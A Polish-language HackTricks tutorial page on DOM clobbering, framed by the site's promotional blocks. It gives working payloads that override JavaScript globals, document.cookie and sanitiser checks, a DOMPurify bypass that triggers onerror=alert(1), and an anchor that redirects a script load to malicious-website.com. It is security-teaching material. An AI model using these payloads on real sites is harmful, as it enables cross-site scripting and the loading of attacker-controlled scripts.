13 KiB
Dom Clobbering
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
- Pracujesz w firmie zajmującej się cyberbezpieczeństwem? Chcesz zobaczyć swoją firmę reklamowaną w HackTricks? A może chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź PLAN SUBSKRYPCYJNY!
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź mnie na Twitterze 🐦@carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium hacktricks i repozytorium hacktricks-cloud.
Podstawy
Możliwe jest generowanie globalnych zmiennych w kontekście JS za pomocą atrybutów id
i name
w tagach HTML.
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
Tylko określone elementy mogą używać atrybutu name do nadpisania globalnych zmiennych, są to: embed
, form
, iframe
, image
, img
i object
.
Co ciekawe, gdy używasz elementu formularza do nadpisania zmiennej, otrzymasz wartość toString
tego elementu: [object HTMLFormElement]
, ale z anchor wartość toString
będzie wartością atrybutu href
. Dlatego, jeśli nadpisujesz za pomocą znacznika a
, możesz kontrolować wartość, gdy jest traktowana jako ciąg znaków:
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
Tablice i atrybuty
Możliwe jest również nadpisanie tablicy i atrybutów obiektu:
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
Aby nadpisać trzeci atrybut (np. x.y.z), musisz użyć formularza
:
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
Nadpisywanie większej liczby atrybutów jest bardziej skomplikowane, ale wciąż możliwe, przy użyciu ramek (iframes):
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
{% hint style="warning" %} Tag style jest używany, aby dać wystarczająco dużo czasu na renderowanie iframe. Bez niego otrzymasz alert o undefined. {% endhint %}
Aby nadpisać głębsze atrybuty, możesz użyć iframe'ów z kodowaniem HTML w ten sposób:
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
Ominięcie filtrów
Jeśli filtr pętli przez właściwości węzła, używając czegoś takiego jak document.getElementByID('x').attributes
, możesz nadpisać atrybut .attributes
i złamać filtr. Inne właściwości DOM, takie jak tagName
, nodeName
lub parentNode
, również są nadpisywalne.
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
Nadpisywanie window.someObject
W języku JavaScript często można znaleźć:
var someObject = window.someObject || {};
Manipulowanie HTML na stronie umożliwia nadpisanie someObject
za pomocą węzła DOM, co potencjalnie wprowadza podatności na bezpieczeństwo. Na przykład, można zastąpić someObject
elementem kotwicy wskazującym na złośliwy skrypt:
<a id=someObject href=//malicious-website.com/malicious.js></a>
W podatnym kodzie, takim jak:
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
Ta metoda wykorzystuje źródło skryptu do wykonania niechcianego kodu.
Sztuczka: DOMPurify
pozwala na użycie protokołu cid:
, który nie koduje podwójne cudzysłowy w adresie URL. Oznacza to, że można wstrzyknąć zakodowany podwójny cudzysłów, który zostanie zdekodowany w czasie wykonania. Dlatego wstrzyknięcie czegoś takiego jak <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
spowoduje, że zakodowany HTML "
zostanie zdekodowany w czasie wykonania i wydostanie się z wartości atrybutu, aby utworzyć zdarzenie onerror
.
Inna technika wykorzystuje element form
. Niektóre biblioteki po stronie klienta sprawdzają atrybuty nowo utworzonego elementu formularza w celu ich oczyszczenia. Jednak dodanie input
z id=attributes
wewnątrz formularza skutecznie nadpisuje właściwość atrybutów, uniemożliwiając dostęp do rzeczywistych atrybutów przez oczyszczacz.
Możesz znaleźć przykład tego rodzaju nadpisywania w tym opisie CTF.
Nadpisywanie obiektu dokumentu
Zgodnie z dokumentacją możliwe jest nadpisanie atrybutów obiektu dokumentu za pomocą DOM Clobbering:
Interfejs Document obsługuje nazwane właściwości. Obsługiwane nazwy właściwości obiektu Document w dowolnym momencie składają się z następujących, w kolejności drzewa zgodnie z elementem, który je dostarczył, ignorując późniejsze duplikaty, a wartości z atrybutów id pochodzą przed wartościami z atrybutów name, gdy ten sam element dostarcza oba:
- Wartość atrybutu name dla wszystkich eksponowanych elementów embed, form, iframe, img i eksponowanych elementów object, które mają niepusty atrybut name i są w drzewie dokumentu z dokumentem jako korzeniem;
- Wartość atrybutu id dla wszystkich eksponowanych elementów object, które mają niepusty atrybut id i są w drzewie dokumentu z dokumentem jako korzeniem;
- Wartość atrybutu id dla wszystkich elementów img, które mają zarówno niepusty atrybut id, jak i niepusty atrybut name, i są w drzewie dokumentu z dokumentem jako korzeniem.
Za pomocą tej techniki można nadpisać powszechnie używane wartości, takie jak document.cookie
, document.body
, document.children
, a nawet metody w interfejsie Document, takie jak document.querySelector
.
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
Pisanie po zastąpieniu elementu
Wyniki wywołań document.getElementById()
i document.querySelector()
mogą być zmienione poprzez wstrzyknięcie znacznika <html>
lub <body>
z identycznym atrybutem id. Oto jak to można zrobić:
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
Ponadto, poprzez zastosowanie stylów do ukrycia wstrzykniętych tagów HTML/body, można zapobiec zakłóceniom spowodowanym przez inne teksty w innerText
, co zwiększa skuteczność ataku:
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
Badania nad SVG wykazały, że tag <body>
może być również skutecznie wykorzystany:
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
Aby tag HTML działał wewnątrz SVG w przeglądarkach takich jak Chrome i Firefox, konieczne jest użycie tagu <foreignobject>
:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
Nadpisywanie formularzy
Możliwe jest dodawanie nowych wpisów do formularza poprzez określenie atrybutu form
wewnątrz niektórych tagów. Można to wykorzystać do dodawania nowych wartości do formularza oraz do dodawania nowego przycisku do jego wysłania (clickjacking lub nadużycie kodu JS .click()
):
{% code overflow="wrap" %}
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
{% endcode %}
- Aby uzyskać więcej atrybutów formularza, sprawdź to.
Referencje
- https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
- https://portswigger.net/web-security/dom-based/dom-clobbering
- Heyes, Gareth. JavaScript dla hakerów: Naucz się myśleć jak haker.
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
- Czy pracujesz w firmie zajmującej się cyberbezpieczeństwem? Chcesz zobaczyć reklamę swojej firmy w HackTricks? A może chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź PLAN SUBSKRYPCJI!
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź mnie na Twitterze 🐦@carlospolopm.
- Podziel się swoimi trikami hakerskimi, przesyłając PR do repozytorium hacktricks i repozytorium hacktricks-cloud.